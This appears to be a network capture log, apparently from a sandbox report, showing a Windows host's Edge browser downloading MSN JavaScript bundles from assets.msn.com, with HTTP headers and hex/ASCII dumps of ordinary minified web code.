2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 3d 7b 49 4e 49 54 3a 22 40 40 72 65 64 75 78 2f 49 4e 49 54 22 2b 69 28 29 2c 52 45 50 4c 41 43 45 3a 22 40 40 72 65 64 75 78 2f 52 45 50 4c 41 43 45 22 2b 69 28 29 2c 50 52 4f 42 45 5f 55 4e 4b 4e 4f 57 4e 5f 41 43 54 49 4f 4e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 40 40 72 65 64 75 78 2f 50 52 4f 42 45 5f 55 4e 4b 4e 4f 57 4e 5f 41 43 54 49 4f 4e 22 2b 69 28 29 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 75 28 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 6e 75 6c 6c 3d 3d 3d 74 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 65 3d 74 3b 6e 75 6c 6c 21 3d 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 3b 29 65 3d 4f 62 6a 65 63 74 2e 67 65 74 50 Data Ascii: 00004000o={INIT:"@@redux/INIT"+i(),REPLACE:"@@redux/REPLACE"+i(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+i()}};function u(t){if("object"!=typeof t\|\|null===t)return!1;for(var e=t;null!==Object.getPrototypeOf(e);)e=Object.getP
2025-01-08 15:18:48 UTC	12	IN	Data Raw: 6f 64 65 55 52 49 43 6f 6d 70 0d 0a Data Ascii: odeURIComp
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 6e 65 6e 74 29 2e 72 65 70 6c 61 63 65 28 2f 5b 28 29 5d 2f 67 2c 65 73 63 61 70 65 29 3b 76 61 72 20 75 3d 22 22 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 6f 29 6f 5b 63 5d 26 26 28 75 2b 3d 22 3b 20 22 2b 63 2c 21 30 21 3d 3d 6f 5b 63 5d 26 26 28 75 2b 3d 22 3d 22 2b 6f 5b 63 5d 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 29 29 3b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 2b 22 3d 22 2b 65 2e 77 72 69 74 65 28 69 2c 74 29 2b 75 7d 7d 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 7b 73 65 74 3a 69 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 21 61 72 67 75 6d 65 6e 74 73 Data Ascii: 00004000onent).replace(/[()]/g,escape);var u="";for(var c in o)o[c]&&(u+="; "+c,!0!==o[c]&&(u+="="+o[c].split(";")[0]));return document.cookie=t+"="+e.write(i,t)+u}}return Object.create({set:i,get:function(t){if("undefined"!=typeof document&&(!arguments
2025-01-08 15:18:48 UTC	12	IN	Data Raw: 26 26 28 30 2c 69 2e 5a 29 28 0d 0a Data Ascii: &&(0,i.Z)(
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 39 46 34 42 0d 0a 74 2c 65 2c 6e 29 7d 2c 63 3d 6e 28 31 34 32 31 31 29 2c 61 3d 6e 28 37 37 34 30 38 29 2c 73 3d 6e 28 39 37 35 35 38 29 2c 66 3d 6e 28 33 32 32 39 31 29 2c 6c 3d 6e 28 31 37 32 35 37 29 2c 64 3d 6e 28 38 34 34 33 31 29 2c 70 3d 6e 28 39 32 31 37 30 29 2c 76 3d 6e 28 35 39 34 37 32 29 2c 68 3d 6e 28 36 32 32 34 36 29 2c 67 3d 6e 28 32 36 31 39 29 2c 6d 3d 6e 28 39 36 32 38 38 29 2c 79 3d 6e 28 34 34 31 39 39 29 2c 5a 3d 6e 28 37 30 37 37 30 29 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 28 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 21 3d 3d 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 5b 65 5d 29 26 26 22 5f 5f 70 72 6f 74 6f 5f 5f 22 21 3d 65 29 72 65 74 75 72 6e 20 74 5b 65 5d Data Ascii: 00009F4Bt,e,n)},c=n(14211),a=n(77408),s=n(97558),f=n(32291),l=n(17257),d=n(84431),p=n(92170),v=n(59472),h=n(62246),g=n(2619),m=n(96288),y=n(44199),Z=n(70770);var b=function(t,e){if(("constructor"!==e\|\|"function"!=typeof t[e])&&"__proto__"!=e)return t[e]
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 72 6e 22 30 22 3d 3d 65 26 26 31 2f 74 3d 3d 2d 49 6e 66 69 6e 69 74 79 3f 22 2d 30 22 3a 65 7d 7d 2c 33 37 33 31 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 74 72 79 7b 72 65 74 75 72 6e 20 74 2b 22 22 7d 63 61 74 63 68 28 74 29 7b 7d 7d 72 65 74 75 72 6e 22 22 7d 7d 2c 32 35 32 34 38 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 2f 5c 73 2f 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: rn"0"==e&&1/t==-Infinity?"-0":e}},37311:function(t,e){"use strict";var n=Function.prototype.toString;e.Z=function(t){if(null!=t){try{return n.call(t)}catch(t){}try{return t+""}catch(t){}}return""}},25248:function(t,e){"use strict";var n=/\s/;e.Z=function(

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.11.20	53673	23.33.85.196	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:48 UTC	618	OUT	GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:48 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: uNgSH4TlVfgPvcJyj5sBtQ== Last-Modified: Sat, 21 Dec 2024 00:40:16 GMT ETag: 0x8DD215809D888F7 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d43c0189-901e-0074-788b-576eef000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Wed, 08 Jan 2025 15:18:48 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.45.126.206,b=3195725968,c=g,n=US_IL_MOUNTPROSPECT,o=20940] Server-Timing: clientrtt; dur=119, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.45.126.206 Akamai-Request-ID: be7ae890 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.ce7e2d17.1736349528.be7ae890 Vary: Origin
2025-01-08 15:18:48 UTC	15137	IN	Data Raw: 30 30 30 30 41 33 39 38 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 69 63 72 6f 73 6f 66 74 2e 37 66 63 33 31 30 39 37 36 39 33 39 30 65 30 66 37 39 31 32 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 69 63 72 6f 73 6f 66 74 22 5d 2c 7b 36 33 31 36 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 7d 29 3b 76 Data Ascii: 0000A398/! For license information please see microsoft.7fc3109769390e0f7912.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["microsoft"],{63165:function(t,e,n){"use strict";n.d(e,{Z:function(){return A}});v
2025-01-08 15:18:48 UTC	16314	IN	Data Raw: 6f 2e 46 59 2c 6f 2e 59 36 2c 72 2e 62 24 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 6d 66 2c 6f 2e 6b 4a 2c 6f 2e 4b 6e 2c 6f 2e 6e 64 2c 72 2e 4d 46 2c 6f 2e 59 36 2c 72 2e 63 70 2c 73 2e 70 37 2c 73 2e 55 59 2c 6f 2e 6c 5f 2c 6c 2e 63 39 2c 6c 2e 49 62 2c 6f 2e 49 64 2c 6f 2e 72 57 2c 6f 2e 59 6d 2c 6f 2e 6f 38 2c 6f 2e 6c 65 2c 6f 2e 6e 72 2c 6f 2e 6d 66 2c 6f 2e 4b 6e 2c 6f 2e 4a 5f 2c 6f 2e 6b 4a 2c 6f 2e 56 5a 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 59 36 2c 6f 2e 74 4f 2c 6f 2e 55 41 2c 6f 2e 4d 72 2c 6f 2e 58 7a 2c 6f 2e 6e 64 2c 64 2e 70 75 2c 6f 2e 46 59 2c 6f 2e 6c 5f 2c 6c 2e 49 62 2c 6f 2e 6d 36 2c 72 2e 77 31 2c 61 2e 47 57 2c 61 2e 4a 6a 2c 75 2e 70 5a 2c 75 2e 61 7a 2c 75 2e 5f 6c 2c 75 2e 43 4e 2c 75 2e 46 36 2c Data Ascii: o.FY,o.Y6,r.b$,o.HD,o.hj,o.jn,o.mf,o.kJ,o.Kn,o.nd,r.MF,o.Y6,r.cp,s.p7,s.UY,o.l_,l.c9,l.Ib,o.Id,o.rW,o.Ym,o.o8,o.le,o.nr,o.mf,o.Kn,o.J_,o.kJ,o.VZ,o.HD,o.hj,o.jn,o.Y6,o.tO,o.UA,o.Mr,o.Xz,o.nd,d.pu,o.FY,o.l_,l.Ib,o.m6,r.w1,a.GW,a.Jj,u.pZ,u.az,u._l,u.CN,u.F6,
2025-01-08 15:18:48 UTC	10441	IN	Data Raw: 28 29 7b 72 65 74 75 72 6e 20 65 74 7d 2c 4f 69 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 74 7d 2c 55 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 74 7d 2c 56 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4b 7d 2c 56 62 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 74 7d 2c 58 7a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 74 7d 2c 59 36 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 59 7d 2c 59 6d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 52 7d 2c 5f 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 74 7d 2c 5f 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 7d 2c 5f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e Data Ascii: (){return et},Oi:function(){return yt},UA:function(){return tt},VZ:function(){return K},Vb:function(){return wt},Xz:function(){return nt},Y6:function(){return Y},Ym:function(){return R},_A:function(){return lt},_Q:function(){return U},_y:function(){return
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 64 5d 3b 72 65 74 75 72 6e 20 6d 7c 7c 28 6d 3d 65 5b 64 5d 3d 7b 7d 29 2c 65 2e 73 65 74 4e 65 78 74 28 76 29 2c 74 26 26 28 30 2c 63 2e 4c 6d 29 28 65 5b 61 2e 6f 56 5d 28 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 2b 22 3a 22 2b 73 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 5b 70 5d 3d 21 30 3b 74 72 79 7b 76 61 72 20 74 3d 76 3f 76 2e 5f 69 64 3a 61 2e 71 53 3b 74 26 26 28 6d 5b 74 5d 3d 21 31 29 2c 66 3d 6e 28 65 29 7d 63 61 74 63 68 28 74 29 7b 76 61 72 20 63 3d 21 76 7c 7c 6d 5b 76 2e 5f 69 64 5d 3b 63 26 26 28 66 3d 21 30 29 2c 76 26 26 63 7c 7c 28 30 2c 72 2e 6b 50 29 28 65 5b 69 2e 6d 63 5d 28 29 2c 31 2c 37 33 2c 22 50 6c 75 67 69 6e 20 5b 22 2b 67 2b 22 5d 20 66 61 69 6c 65 64 20 64 75 Data Ascii: 00004000d];return m\|\|(m=e[d]={}),e.setNext(v),t&&(0,c.Lm)(e[a.oV](),(function(){return g+":"+s}),(function(){m[p]=!0;try{var t=v?v._id:a.qS;t&&(m[t]=!1),f=n(e)}catch(t){var c=!v\|\|m[v._id];c&&(f=!0),v&&c\|\|(0,r.kP)(e[i.mc](),1,73,"Plugin ["+g+"] failed du
2025-01-08 15:18:48 UTC	12	IN	Data Raw: 54 79 70 65 5d 3b 21 76 74 28 0d 0a Data Ascii: Type];!vt(
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 2e 73 65 6e 64 54 79 70 65 29 26 26 65 2e 69 73 42 65 61 63 6f 6e 26 26 32 3d 3d 3d 65 2e 73 65 6e 64 52 65 61 73 6f 6e 26 26 28 67 3d 70 5b 32 5d 7c 7c 70 5b 33 5d 7c 7c 67 29 3b 76 61 72 20 76 3d 64 74 3b 28 65 2e 69 73 42 65 61 63 6f 6e 7c 7c 33 3d 3d 3d 67 2e 5f 74 72 61 6e 73 70 6f 72 74 29 26 26 28 76 3d 21 31 29 3b 76 61 72 20 6d 3d 6b 74 28 65 2c 76 29 3b 76 3d 76 7c 7c 6d 2e 75 73 65 48 64 72 73 3b 76 61 72 20 62 3d 28 30 2c 63 2e 68 4b 29 28 29 3b 28 30 2c 6f 2e 4c 6d 29 28 79 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 48 74 74 70 4d 61 6e 61 67 65 72 3a 5f 64 6f 50 61 79 6c 6f 61 64 53 65 6e 64 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 70 3d 30 3b 70 3c 65 2e 62 61 Data Ascii: 00004000e.sendType)&&e.isBeacon&&2===e.sendReason&&(g=p[2]\|\|p[3]\|\|g);var v=dt;(e.isBeacon\|\|3===g._transport)&&(v=!1);var m=kt(e,v);v=v\|\|m.useHdrs;var b=(0,c.hK)();(0,o.Lm)(y,(function(){return"HttpManager:_doPayloadSend"}),(function(){for(var p=0;p<e.ba
2025-01-08 15:18:48 UTC	12	IN	Data Raw: 22 7c 22 29 3b 69 2e 6c 65 6e 0d 0a Data Ascii: "\|");i.len
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 31 38 30 30 30 0d 0a 67 74 68 3e 30 26 26 6e 2e 73 65 74 49 64 28 69 5b 30 5d 29 3b 74 72 79 7b 69 66 28 69 2e 6c 65 6e 67 74 68 3e 31 29 7b 76 61 72 20 72 3d 2b 69 5b 31 5d 3b 6e 2e 61 63 71 75 69 73 69 74 69 6f 6e 44 61 74 65 3d 2b 6e 65 77 20 44 61 74 65 28 72 29 2c 6e 2e 61 63 71 75 69 73 69 74 69 6f 6e 44 61 74 65 3d 6e 2e 61 63 71 75 69 73 69 74 69 6f 6e 44 61 74 65 3e 30 3f 6e 2e 61 63 71 75 69 73 69 74 69 6f 6e 44 61 74 65 3a 30 7d 69 66 28 69 2e 6c 65 6e 67 74 68 3e 32 29 7b 76 61 72 20 6f 3d 2b 69 5b 32 5d 3b 6e 2e 72 65 6e 65 77 61 6c 44 61 74 65 3d 2b 6e 65 77 20 44 61 74 65 28 6f 29 2c 6e 2e 72 65 6e 65 77 61 6c 44 61 74 65 3d 6e 2e 72 65 6e 65 77 61 6c 44 61 74 65 3e 30 3f 6e 2e 72 65 6e 65 77 61 6c 44 61 74 65 3a 30 7d 7d 63 61 74 Data Ascii: 00018000gth>0&&n.setId(i[0]);try{if(i.length>1){var r=+i[1];n.acquisitionDate=+new Date(r),n.acquisitionDate=n.acquisitionDate>0?n.acquisitionDate:0}if(i.length>2){var o=+i[2];n.renewalDate=+new Date(o),n.renewalDate=n.renewalDate>0?n.renewalDate:0}}cat
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 54 5b 62 5d 7c 7c 28 54 5b 62 5d 3d 7b 6f 3a 28 69 3d 7b 7d 2c 69 5b 78 5d 3d 21 30 2c 69 5b 77 5d 3d 21 30 2c 69 29 2c 6e 3a 31 65 33 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 26 26 43 5b 73 5d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 74 3d 3d 3d 43 5b 73 5d 7c 7c 74 3d 3d 3d 41 72 72 61 79 5b 73 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 74 29 7b 72 65 74 75 72 6e 20 49 28 74 29 7c 7c 74 3d 3d 3d 46 75 6e 63 74 69 6f 6e 5b 73 5d 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 29 7b 76 61 72 20 65 3b 69 66 28 74 29 7b 69 66 28 6b 29 72 65 74 75 72 6e 20 6b 28 74 29 3b 76 61 72 20 6e 3d 74 5b 76 5d 7c 7c 74 5b 73 5d Data Ascii: T[b]\|\|(T[b]={o:(i={},i[x]=!0,i[w]=!0,i),n:1e3});function O(t,e){return t&&C[s].hasOwnProperty.call(t,e)}function I(t){return t&&(t===C[s]\|\|t===Array[s])}function E(t){return I(t)\|\|t===Function[s]}function D(t){var e;if(t){if(k)return k(t);var n=t[v]\|\|t[s]
2025-01-08 15:18:48 UTC	1403	IN	Data Raw: 77 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 5b 30 2c 35 34 30 2c 37 36 38 2c 31 30 38 34 2c 31 34 30 30 2c 31 37 37 39 5d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 3d 69 29 7b 66 6f 72 28 6c 65 74 20 6e 3d 65 2e 6c 65 6e 67 74 68 2d 31 3b 6e 3e 3d 30 3b 6e 2d 2d 29 69 66 28 74 3e 3d 65 5b 6e 5d 29 72 65 74 75 72 6e 20 6e 7d 7d 2c 33 34 37 35 37 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 7d 72 65 74 75 72 6e 20 74 2e 67 65 74 47 6c 6f 62 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: wk:function(){return r}});const i=[0,540,768,1084,1400,1779];function r(t,e=i){for(let n=e.length-1;n>=0;n--)if(t>=e[n])return n}},34757:function(){var t;!function(t){var e=function(){function t(){}return t.getGlobal=function(){return"undefined"!=typeof g

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.11.20	51944	23.33.85.196	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:48 UTC	619	OUT	GET /bundles/v1/edgeChromium/latest/experience.810dd47fbaae315d26bb.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:48 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: WjLiOP6XIQbreVTJvg3t9w== Last-Modified: Tue, 07 Jan 2025 23:47:02 GMT ETag: 0x8DD2F7595CDD147 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: b6a3b3dd-b01e-00d4-0a5e-61423e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Wed, 08 Jan 2025 15:18:48 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.45.126.201,b=1733630132,c=g,n=US_IL_MOUNTPROSPECT,o=20940] Server-Timing: clientrtt; dur=119, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.45.126.201 Akamai-Request-ID: 675518b4 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.c97e2d17.1736349528.675518b4 Vary: Origin
2025-01-08 15:18:48 UTC	15137	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 6f 2c 69 2c 61 2c 72 3d 7b 32 33 38 36 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 71 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 33 33 39 34 30 29 2c 69 3d 6e 28 36 35 31 37 35 29 2c 61 3d 6e 28 36 33 30 37 30 29 2c 72 3d 6e 28 33 39 30 30 31 29 2c 73 3d 6e 28 32 32 33 39 30 29 2c 64 3d 6e 28 34 34 38 38 36 29 2c 63 3d 6e 28 34 30 39 32 34 29 3b 76 61 72 20 6c 3d 6e 28 32 38 39 30 34 29 2c 70 3d 6e 28 39 39 34 35 32 29 2c 68 3d 6e 28 34 32 35 39 30 29 2c 75 3d 6e 28 39 34 35 33 37 29 2c 6d 3d 6e 28 38 35 32 30 35 29 2c 67 3d 6e 28 34 37 34 Data Ascii: 0000C000!function(){var e,t,n,o,i,a,r={23865:function(e,t,n){"use strict";n.d(t,{S:function(){return q}});var o=n(33940),i=n(65175),a=n(63070),r=n(39001),s=n(22390),d=n(44886),c=n(40924);var l=n(28904),p=n(99452),h=n(42590),u=n(94537),m=n(85205),g=n(474
2025-01-08 15:18:48 UTC	16259	IN	Data Raw: 2e 65 6e 61 62 6c 65 41 50 49 41 75 74 6f 53 75 67 67 65 73 74 69 6f 6e 73 3d 21 31 2c 74 68 69 73 2e 69 73 49 6e 70 75 74 46 6f 63 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 61 63 74 69 6f 6e 45 6c 65 6d 65 6e 74 46 6f 63 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 73 65 61 72 63 68 42 6f 78 54 65 6c 65 6d 65 74 72 79 54 61 67 73 3d 22 22 2c 74 68 69 73 2e 62 75 74 74 6f 6e 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 64 65 65 70 53 65 61 72 63 68 42 75 74 74 6f 6e 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 69 6e 70 75 74 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 73 65 6c 65 63 74 42 6f 78 4f 70 74 69 6f 6e 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 76 61 6c 75 65 3d 22 22 2c 74 68 69 Data Ascii: .enableAPIAutoSuggestions=!1,this.isInputFocused=!1,this.actionElementFocused=!1,this.searchBoxTelemetryTags="",this.buttonTelemetryTag="",this.deepSearchButtonTelemetryTag="",this.inputTelemetryTag="",this.selectBoxOptionTelemetryTag="",this.value="",thi
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 65 73 74 28 29 7b 69 66 28 21 74 68 69 73 2e 6f 70 74 69 6f 6e 73 7c 7c 21 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 75 74 6f 53 75 67 67 65 73 74 7c 7c 21 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 73 65 61 72 63 68 41 63 74 69 6f 6e 55 72 6c 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 65 3d 22 41 75 74 6f 53 75 67 67 65 73 74 2e 53 65 72 76 69 63 65 2e 45 6c 65 6d 65 6e 74 73 2e 22 3b 28 30 2c 76 2e 5a 29 28 77 69 6e 64 6f 77 2c 65 2b 22 49 6e 70 75 74 22 2c 74 68 69 73 2e 69 6e 70 75 74 45 6c 65 6d 65 6e 74 29 2c 28 30 2c 76 2e 5a 29 28 77 69 6e 64 6f 77 2c 65 2b 22 46 6f 72 6d 22 2c 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 61 75 74 6f 73 75 Data Ascii: est(){if(!this.options\|\|!this.options.autoSuggest\|\|!this.options.searchActionUrl)return;const e="AutoSuggest.Service.Elements.";(0,v.Z)(window,e+"Input",this.inputElement),(0,v.Z)(window,e+"Form",this.formElement),this.formElement.addEventListener("autosu
2025-01-08 15:18:48 UTC	1384	IN	Data Raw: 61 64 69 75 73 3a 30 20 76 61 72 28 2d 2d 73 65 61 72 63 68 2d 62 6f 78 2d 72 61 64 69 75 73 29 20 76 61 72 28 2d 2d 73 65 61 72 63 68 2d 62 6f 78 2d 72 61 64 69 75 73 29 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 62 69 6e 67 2d 75 70 73 65 6c 6c 2d 63 6f 6e 74 61 69 6e 65 72 7b 72 69 67 68 74 3a 75 6e 73 65 74 3b 6c 65 66 74 3a 2d 35 34 70 78 7d 2e 73 65 61 72 63 68 2d 62 74 6e 2d 6f 6e 2d 72 69 67 68 74 2e 63 6f 72 65 3a 6e 6f 74 28 2e 63 6f 72 65 2d 73 65 61 72 63 68 2d 6b 75 6d 6f 29 2e 6e 6f 74 28 6d 6f 62 69 6c 65 29 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 24 7b 